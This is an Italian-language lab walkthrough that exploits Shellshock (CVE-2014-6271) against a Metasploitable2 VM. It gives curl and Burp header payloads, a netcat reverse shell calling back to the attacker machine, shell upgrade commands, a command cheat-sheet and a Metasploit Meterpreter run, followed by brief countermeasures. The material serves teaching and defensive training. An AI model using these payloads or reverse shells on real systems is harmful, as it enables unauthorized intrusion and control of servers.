Un laboratorio dimostrativo completo e moderno per CVE-2014-6271 (Shellshock), comprendente architettura, fasi di exploitation, utilizzo di Burp Suite, reverse shell, contromisure e cheat-sheet completo dei comandi.
Shellshock (CVE-2014-6271) è una delle vulnerabilità di esecuzione remota di codice più influenti mai scoperte. Il difetto colpisce Bash e consente agli attaccanti di eseguire comandi arbitrari semplicemente iniettando payload appositamente costruiti nelle variabili d'ambiente.
Questa guida fornisce una dimostrazione completa e riproducibile usando:
È progettata per l'insegnamento, la ricerca, la formazione e la consapevolezza generale della cybersecurity.
| Componente | Ruolo | SO | Indirizzo IP | Servizi principali |
|---|---|---|---|---|
| Kali Linux | Attaccante | Kali Linux (ultima versione) | 192.168.1.4 | curl, Burp Suite, Netcat |
| Metasploitable2 | Server vulnerabile bersaglio | Ubuntu Linux (MSF2) | 192.168.1.5 | Apache 2.2, script CGI, Bash |
| Apache mod_cgi | Esecuzione script | In esecuzione su MSF2 | n/a | Espone Bash tramite CGI |
| shellshock.sh | Punto di ingresso vulnerabile | Bash CGI | n/a | Mostra le variabili d'ambiente |
Questa semplice configurazione a due nodi rispecchia molte implementazioni legacy ancora presenti nei sistemi industriali e IoT.
Su Metasploitable2:
sudo su
cd /usr/lib/cgi-bin/
cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF
chmod +x shellshock.sh
a2enmod cgi
service apache2 restart
Testa lo script da Kali:
curl http://192.168.1.5/cgi-bin/shellshock.sh
Dovresti vedere le variabili d'ambiente visualizzate.
Shellshock si verifica quando Bash analizza in modo errato le variabili d'ambiente che ricordano definizioni di funzioni.
Una variabile dannosa come:
() { :; }; /bin/bash -c "id"
farà eseguire a Bash il comando dopo la definizione della funzione — anche se la funzione stessa non viene mai invocata.
Le applicazioni CGI sono particolarmente vulnerabili perché le intestazioni HTTP vengono passate automaticamente agli script come variabili d'ambiente.
curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh
L'output dovrebbe includere:
Vulnerable
uid=33(www-data)
Questo conferma l'esecuzione remota di codice.
Visita:
http://192.168.1.5/cgi-bin/shellshock.sh
Invia la richiesta a Repeater.
Sostituisci l'intestazione User-Agent con:
User-Agent: () { :; }; echo; echo BurpTest; /bin/bash -c "id"
Dovresti vedere:
BurpTest
uid=33(www-data)
Burp Suite conferma la vulnerabilità in modo visivo ed educativo.
Avvia il listener su Kali:
nc -lvnp 4444
Attiva la reverse shell tramite lo script CGI:
curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh
Una shell si ricollegherà a Kali.
All'interno della reverse shell:
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Sospendi la sessione:
Ctrl + Z
Su Kali:
stty raw -echo; fg
Premi Invio.
Ora hai:
┌────────────────────────┐
│ Attacker (Kali) │
│ 192.168.1.4 │
└───────────┬────────────┘
│
1. Malicious HTTP Header (Shellshock)
│
▼
┌──────────────────────────┐
│ Apache Web Server (CGI) │
│ 192.168.1.5 │
└───────────┬──────────────┘
│
2. Header → CGI Environment Variable
│
▼
┌──────────────────────────┐
│ Bash (Vulnerable) │
└───────────┬──────────────┘
│
3. Injected Command Executes
│
▼
┌─────────────────────────┐
│ www-data Shell Access │
└───────────┬─────────────┘
│
4. Reverse Shell → Kali
│
▼
┌──────────────────────────┐
│ Full Interactive TTY │
└──────────────────────────┘
Una guida visiva alle fasi chiave dell'attacco.
| Descrizione | Immagine |
|---|---|
| Scansione Nmap + output del test Shellshock | ![]() |
| Burp Suite – Richiesta Shellshock iniziale | ![]() |
| Burp Suite – Iniezione payload / intestazione | ![]() |
| Reverse shell ricevuta su Kali (nc) | ![]() |
Applica una patch per passare a una versione che gestisca correttamente il parsing delle funzioni.
Il CGI legacy introduce un rischio sistemico non necessario.
Elimina i pattern sospetti come:
() { :; };
Limita i permessi dell'utente del server web (www-data).
Blocca le reverse shell e l'esfiltrazione dei dati.
Le firme WAF moderne rilevano Shellshock immediatamente.
Contiene i processi Bash e blocca comportamenti indesiderati.
Usa strumenti come:
http-shellshock.nse)sudo su
cd /usr/lib/cgi-bin/
cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF
chmod +x shellshock.sh
a2enmod cgi
service apache2 restart
curl http://192.168.1.5/cgi-bin/shellshock.sh
curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh
nc -lvnp 4444
curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh
All'interno della shell:
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Sospendi:
Ctrl + Z
Su Kali:
stty raw -echo; fg
Premi Invio.
Metasploit offre un modo professionale e automatizzato per sfruttare Shellshock utilizzando il modulo integrato:
exploit/multi/http/apache_mod_cgi_bash_env_exec
Questo metodo è rapido, affidabile e offre lo staging automatico del payload (ad esempio Meterpreter).
msfconsole
search shellshock
Dovresti vedere (tra gli altri):
exploit/multi/http/apache_mod_cgi_bash_env_exec Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)
auxiliary/scanner/http/apache_mod_cgi_bash_env Apache mod_cgi Bash Environment Variable Injection (Scanner)
use exploit/multi/http/apache_mod_cgi_bash_env_exec
Imposta l'IP del bersaglio:
set rhosts 192.168.1.5
Imposta il percorso CGI vulnerabile:
set targeturi /cgi-bin/shellshock.sh
Imposta l'IP della tua Kali:
set lhost 192.168.1.4
Imposta facoltativamente la porta in ascolto:
set lport 4444
Verifica:
options
Dovresti vedere:
RHOSTS 192.168.1.5
TARGETURI /cgi-bin/shellshock.sh
LHOST 192.168.1.4
LPORT 4444
METHOD GET
HEADER User-Agent
CVE CVE-2014-6271
run
In caso di successo:
[*] Started reverse TCP handler on 192.168.1.4:4444
[*] Command Stager progress - 100.00%
[*] Sending stage ...
[*] Meterpreter session 1 opened ...
sessions -i 1
Ora hai:
meterpreter >
shell
Quindi:
id
hostname
Risultato atteso:
uid=33(www-data) gid=33(www-data)
metasploitable
Hai ottenuto l'esecuzione remota di comandi usando Metasploit e Shellshock.
Questa dimostrazione mostra come Shellshock possa essere sfruttato usando la semplice manipolazione delle intestazioni HTTP, le reverse shell, l'esecuzione di script CGI e l'automazione di Metasploit. Nonostante abbia più di un decennio, Shellshock rimane una lezione importante su:
Realizzato con tantissimo amore da:
Haitham dell'Oman ❤️🇴🇲